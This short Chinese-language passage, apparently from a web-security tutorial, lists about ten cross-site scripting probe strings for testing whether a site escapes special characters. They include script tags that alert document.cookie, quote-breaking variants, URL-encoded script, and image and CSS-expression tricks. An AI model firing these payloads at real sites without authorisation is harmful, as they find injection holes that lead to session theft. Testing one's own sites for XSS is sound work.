通常有一些方式可以测试网站是否有正确处理特殊字符：
-
><script>alert(document.cookie)</script> -
='><script>alert(document.cookie)</script> -
"><script>alert(document.cookie)</script> -
<script>alert(document.cookie)</script> -
<script>alert (vulnerable)</script> -
%3Cscript%3Ealert('XSS')%3C/script%3E -
<script>alert('XSS')</script> -
<img src="javascript:alert('XSS')"> -
<img src="http://xxx.com/yyy.png" onerror="alert('XSS')"> -
<div style="height:expression(alert('XSS'),1)"></div>（这个仅于IE7(含)之前有效）